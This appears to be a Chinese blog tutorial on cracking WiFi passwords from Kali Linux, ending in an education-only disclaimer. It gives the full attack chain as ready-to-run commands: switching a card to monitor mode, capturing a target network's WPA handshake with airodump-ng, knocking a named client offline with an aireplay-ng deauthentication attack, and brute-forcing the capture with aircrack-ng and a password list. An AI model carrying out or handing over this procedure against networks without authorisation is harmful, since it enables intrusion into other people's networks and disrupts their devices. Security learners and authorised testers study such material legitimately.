Wifi密码暴力破解
在kali系统中通过airodump-ng命令对周边网络进行扫描,并抓取特定网络的握手包,利用aireplay-ng命令进行ack攻击使wifi断连重连顺利捕获到握手包,最后通过aircrack-ng命令对抓取到的cap握手包进行暴力破解
该教程仅适用于交流学习!
硬件准备
- 安装kali系统并插入无线网卡(免驱)
去官网找到相应的iso镜像,在VM虚拟机中安装 - 在宿主机禁用该网卡,kali虚拟机连接
使用命令ifconfig
和iwconfig
可用来检测网卡的状态
网络渗透
开启网卡monitor模式
airmon-ng start wlan0 #激活无线网卡监听功能
扫描周边网络,注意目标网络的ch和bssid
ch指该网络的channel, bssid类似于该网络的mac地址airodump-ng wlan0 #扫描周边环境的wifi信号
对目标网络进行抓包
airodump-ng -c 6 --bssid 90:B6:7A77:8E:D6 -w /home/kali/Desktop/handshake wlan0 #抓包命令
Ack攻击使设备下线重连,加速抓包
aireplay-ng -0 10 -a 90:B6:7A77:8E:D6 -c 18:26:49:53:93:78 wlan0 #ack死亡攻击
对抓取到的cap文件进行暴力破解
#两条命令均可 aircrack-ng -w /home/kali/Desktop/passwd.txt -b 90:B6:7A77:8E:D6 /home/kali/Desktop/handshake-0*.cap aircrack-ng -w /home/kali/Desktop/passwd.txt /home/kali/Desktop/handshake-0*.cap
补充命令
关闭monitor模式
ifconfig wlan0 down iwconfig wlan0 mode monitor/managed ifconfig wlan0 up
如果检测不到wifi,可先杀死一些进程,之后开启monitor模式
airmon-ng check kill kill [pid] pkill [mingcheng]
Tips
- 网卡要在宿主机上禁用,直接连接到kali虚拟机
- 网络强度很重要,信号差的网络大概率抓不到包
- 抓包之前要关闭扫描网络的命令,扫描的过程中网卡的channel一直在变化
参考文献
- 零度解说Youtube Channel : https://www.youtube.com/watch?v=tKjVfGEoBZY&t=1s
- Kali官网:https://www.kali.org
免责声明:本博客提供的内容和工具仅供教育和研究目的使用。它旨在提高公众对网络安全威胁的意识,并帮助人们保护自己免受这些威胁。使用这些信息进行任何非法活动或未经授权的访问是严格禁止的,并可能受到法律的严厉惩罚。作者或发布者不对由于滥用这些信息而导致的任何行为或后果承担责任。在实施任何网络测试之前,您必须获得所有必要的授权。尊重他人的隐私权和法律是每个网络专业人员和爱好者的基本责任。